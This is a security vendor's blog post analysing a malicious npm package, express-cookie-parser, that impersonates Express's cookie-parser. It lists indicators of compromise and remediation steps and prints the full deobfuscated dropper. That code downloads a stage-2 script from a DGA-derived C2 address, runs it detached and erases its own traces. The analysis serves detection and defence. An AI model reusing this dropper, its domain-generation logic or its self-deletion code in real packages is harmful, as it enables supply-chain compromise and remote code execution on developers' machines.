· 8 min read

Malicious npm Package Impersonating Popular Express Cookie Parser

A malicious npm package impersonating the popular Express cookie parser package was discovered by SafeDep Cloud malicious package scanning service.

A malicious npm package impersonating the popular Express cookie parser package was discovered by SafeDep Cloud malicious package scanning service.

Today we found a malicious npm package express-cookie-parser impersonating the popular Express cookie-parser package. The README.md file for express-cookie-parser is a copy from the cookie-parser package. The malicious payload is in cookie-loader.min.js in the analyzed version 1.4.12. This an unique malicious npm sample that does not depend on pre or post install hooks. Instead, the payload is executed when a documented API from the malicious library is used by an affected application.

The payload performs the following:

  • Acts as stage-1 or dropper payload for stage-2 payload
  • Fetches seed file https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example
  • Generates a C2 server domain based on hardcoded 496AAC7E and SHA256 hash of the seed file
  • The C2 URL is of the format http://${domain}/public/startup.js?ver=1.2&type=module
  • Downloads startup.js from the C2 server and executes it using node executable found on the system
  • Deletes cookie-loader.min.js after execution and re-writes index.js to remove require('./cookie-loader.min')

At the time of writing, the URL https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example contains the following payload:

JWT_SECRET=
EXPIRATION=9999h
PORT=5555
DB_USER=admin
DB_PASS=123456

As per our analysis, the SHA256 hash of the above content is used to generate the C2 server domain using a Domain Generation Algorithm.

Investigation

We decided to analyze [email protected] closely to identify the malicious behavior. The package.json is the most common attack vector for malicious npm packages as we have seen in analyzing 5000+ malicious packages. However, for this sample, the package.json appears to be similar to the original cookie-parser package. However, the index.js loads the malicious payload while providing facades for API compatibility.

Lets take a look at the index.js file:

// Loads dependency packages
var cookie = require('cookie');
var signature = require('cookie-signature');

// Loads the malicious payload
require('./cookie-loader.min');

// [...]

function cookieParser(secret, options) {
  // Defines the cookieParser function for API compatibility
  // [...]
}

Next we looked at the cookie-loader.min.js file which is the actual malicious payload. However, it was minified and obfuscated to make it harder to read and analyze by humans or static analysis tools.

The cookie-loader.min.js file is a dropper for the startup.js file that is fetched from a remote C2 server generated using a Domain Generation Algorithm with a fixed value of 496AAC7E.

Based on our analysis, cookie-loader.min.js does the following:

  • Identifies the path of node executable on the system for Windows, Linux and macOS platforms
  • Computes the Google Chrome user data directory path based on the OS for persistence (dropping startup.js)
  • Computes C2 domain using Domain Generation Algorithm with a fixed value of 496AAC7E and SHA256 hash of the seed file
  • Downloads startup.js from the C2 server and executes it using node executable found on the system
  • Deletes cookie-loader.min.js after execution and re-writes index.js to remove require('./cookie-loader.min')

It also contains code to delete cookie-loader.min.js after execution and remove the reference from index.js. The following code performs this operation:

function f() {
  l.unlinkSync(__filename);
  var e,
    t = r.join(__dirname, 'index.js');
  l.existsSync(t) &&
    ((e = l.readFileSync(t).toString()), l.writeFileSync(t, e.replace("require('./cookie-loader.min')", '')));
}

Domain Generation Algorithm (DGA)

The C2 server domain is generated using an embedded DGA based on following two parameters

  • Hardcoded 4 byte XOR key 496AAC7E
  • SHA256 hash of the seed file
  • Generate the stage-2 payload URL as http://${generated-domain}/public/startup.js?ver=1.2&type=module

Based on our analysis, the DGA does the following:

  • XOR each byte of the SHA256 hash of the seed file with the hardcoded key 496AAC7E.
  • Convert the 32 byte (XOR’d hash) result to a dotted IP address format

We derived 206.214.129.67 as the C2 server domain based on SHA256 hash of the seed file https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example and the key 496AAC7E.

See the deobfuscated version of the cookie-loader.min.js file for more details.

What to do if you are affected?

  • Remove the package using npm remove express-cookie-parser

For critical systems, we recommend that the system should be considered compromised and appropriate incident response process should kick-in.

How can SafeDep help?

Our free and open source tool vet is integrated with the SafeDep Cloud Package Scanning Service and can be used to detect malicious packages before they are installed. vet-action is a GitHub Action that can be used to establish proactive guardrails against malicious open source packages in your GitHub Actions workflows.

Indicator of Compromise (IOC)

  • Seed file URL https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example
  • C2 server domain generation algorithm key 496AAC7E
  • C2 server IP 206.214.129.67 generated by the DGA using SHA256 hash of the seed file and the key 496AAC7E

Following is the deobfuscated version of the cookie-loader.min.js file:

// Import required Node.js modules
const { spawn, exec } = require('child_process');
const path = require('path');
const https = require('https');
const http = require('http');
const fs = require('fs');
const os = require('os');
const crypto = require('crypto');

// Create a SHA-256 hash object for later use
const sha256Hash = crypto.createHash('sha256');

// Base64 encoded URL for the initial payload
// Decodes to: https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example
const encodedUrl =
  'aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2pvaG5zOTIvYmxvZ19hcHAvcmVmcy9oZWFkcy9tYWluL3NlcnZlci8uZW52LmV4YW1wbGU=';
const decodedUrl = atob(encodedUrl);

/**
 * Gets the path to the node executable on the system based on platform
 * This ensures the malware can run node processes on any OS
 */
function getNodePath() {
  // For Linux and macOS
  if (os.platform() === 'linux' || os.platform() === 'darwin') {
    return new Promise((resolve, reject) => {
      exec('which node', { windowsHide: true }, (error, stdout, stderr) => {
        if (error || stderr) {
          reject('Node.js not found');
        } else {
          resolve(stdout.trim());
        }
      });
    });
  }
  // For Windows
  else if (os.platform() === 'win32') {
    return new Promise((resolve, reject) => {
      exec('where node', { windowsHide: true }, (error, stdout, stderr) => {
        if (error || stderr) {
          callback(null);
        } else {
          const nodePath = stdout.split('\n')[0].trim();
          resolve(nodePath);
        }
      });
    });
  }
}

/**
 * Creates a path for the malicious script
 * Targets Chrome browser directories for persistence and to avoid detection
 */
let getScriptPath = () => {
  let browserDataDir = null;
  const homeDir = os.homedir();

  // First attempt: Target Chrome user data directories based on OS
  if (os.platform() === 'win32') {
    browserDataDir = path.join(homeDir, 'AppData', 'Local', 'Google', 'Chrome', 'User Data');
  } else if (os.platform() === 'linux') {
    browserDataDir = path.join(homeDir, '.config', 'google-chrome');
  } else if (os.platform() === 'darwin') {
    browserDataDir = path.join(homeDir, 'Library', 'Application Support', 'Google', 'Chrome');
  }

  // Fallback: Use more generic locations if Chrome dirs don't exist
  if (!fs.existsSync(browserDataDir)) {
    if (os.platform() === 'win32') {
      browserDataDir = path.join(homeDir, 'AppData', 'Local');
    } else if (os.platform() === 'linux') {
      browserDataDir = path.join(homeDir, '.config');
    } else if (os.platform() === 'darwin') {
      browserDataDir = path.join(homeDir, 'Library', 'Application Support');
    }
  }

  // Create directory if it doesn't exist
  if (!fs.existsSync(browserDataDir)) {
    fs.mkdirSync(browserDataDir, { recursive: true });
  }

  // Create a Scripts directory in the browser data folder
  const scriptsDir = path.join(browserDataDir, 'Scripts');

  // Create Scripts directory if it doesn't exist
  if (!fs.existsSync(scriptsDir)) {
    fs.mkdirSync(scriptsDir, { recursive: true });
  }

  // Return path for the malware script
  const malwarePath = path.join(scriptsDir, 'startup.js');
  return malwarePath;
};

/**
 * Executes a node script in a detached process
 * This allows the malware to run independently from the parent process
 */
function runScript(scriptPath) {
  spawn('node', [scriptPath], {
    detached: true, // Makes process independent from parent
    stdio: 'ignore', // Prevents any output being shown
    windowsHide: true, // Prevents window from being shown on Windows
  }).unref(); // Allows parent to exit independently
}

/**
 * Covers tracks by removing the malicious loader and editing the index.js file
 * This helps avoid detection after the malware has been installed
 */
function coverTracks() {
  // Delete this malicious file
  fs.unlinkSync(__filename);

  // Remove the require statement from index.js to hide evidence
  const indexPath = path.join(__dirname, 'index.js');

  if (fs.existsSync(indexPath)) {
    const indexContent = fs.readFileSync(indexPath).toString();
    // Remove the require statement for this malicious module
    fs.writeFileSync(indexPath, indexContent.replace("require('./cookie-loader.min')", ''));
  }
}

/**
 * Updates the downloaded script with the absolute path to node
 * This ensures the script can be executed as a standalone file
 */
async function fixNodePath(scriptPath) {
  // Only needed for non-Windows platforms
  if (os.platform() !== 'win32') {
    const scriptContent = fs.readFileSync(scriptPath).toString();
    const nodePath = await getNodePath();
    // Replace "node" with the absolute path
    const updatedContent = scriptContent.replace('"node"', '"' + nodePath + '"');
    fs.writeFileSync(scriptPath, updatedContent);
  }
}

/**
 * Downloads a file from a URL to a specified location
 */
function downloadFile(url, targetPath) {
  // Choose http or https based on URL
  let httpModule = url.startsWith('https') ? https : http;

  return new Promise((resolve, reject) => {
    httpModule.get(url, (response) => {
      if (response.statusCode !== 200) {
        reject('');
        return;
      }

      const fileStream = fs.createWriteStream(targetPath);
      response.pipe(fileStream);

      fileStream.on('finish', () => {
        resolve('');
      });
    });
  });
}

/**
 * Domain generation algorithm using XOR operations
 * Creates C2 (command and control) server address from file hash and fixed value
 */
function generateDomain(hash, fixedValue) {
  // XOR each byte of the hash with the fixed value
  let result = '';
  for (let i = 0; i < fixedValue.length; i++) {
    const xorResult = parseInt(hash[i], 16) ^ parseInt(fixedValue[i], 16);
    result += xorResult.toString(16);
  }

  // Convert the hex result to a dotted IP address format
  let ipAddress = '';
  for (let i = 0; i < result.length; i += 2) {
    if (ipAddress) {
      ipAddress += '.';
    }
    ipAddress += parseInt(result.slice(i, i + 2), 16).toString();
  }

  return ipAddress;
}

/**
 * Creates the URL for downloading the actual malware payload
 */
function createMalwareUrl(domain) {
  return `http://${domain}/public/startup.js?ver=1.2&type=module`;
}

/**
 * Main execution function that orchestrates the attack
 */
function executeAttack() {
  // Get the target path for the malware
  let targetPath = getScriptPath();

  // Download the initial script, generate domain, download malware, and execute it
  downloadFile(decodedUrl, targetPath)
    .then(() => {
      // Calculate hash of the downloaded file
      const fileContent = fs.readFileSync(targetPath);
      sha256Hash.update(fileContent);
      const fileHash = sha256Hash.digest('hex');

      // Generate C2 domain using the hash and a fixed value
      return createMalwareUrl(generateDomain(fileHash, '496AAC7E'));
    })
    .then((malwareUrl) => downloadFile(malwareUrl, targetPath))
    .then(() => fixNodePath(targetPath))
    .then(() => {
      // Make the script executable and run it
      fs.chmodSync(targetPath, '755');
      runScript(targetPath);
    })
    .finally(() => {
      // Clean up after 1.5 seconds to allow time for script to execute
      setTimeout(() => {
        coverTracks();
      }, 1500);
    });
}

// Execute the malicious code immediately when this file is required
executeAttack();
Back to Blog

Related Posts

View All Posts »
SQL Query Interface over SBOM using SafeDep Cloud

SQL Query Interface over SBOM using SafeDep Cloud

This is a '#buildinpublic' update for SafeDep Cloud Development. UI often becomes a bottleneck for developer tools causing friction. We want to overcome it by providing an SQL query interface of SBOM and security metadata.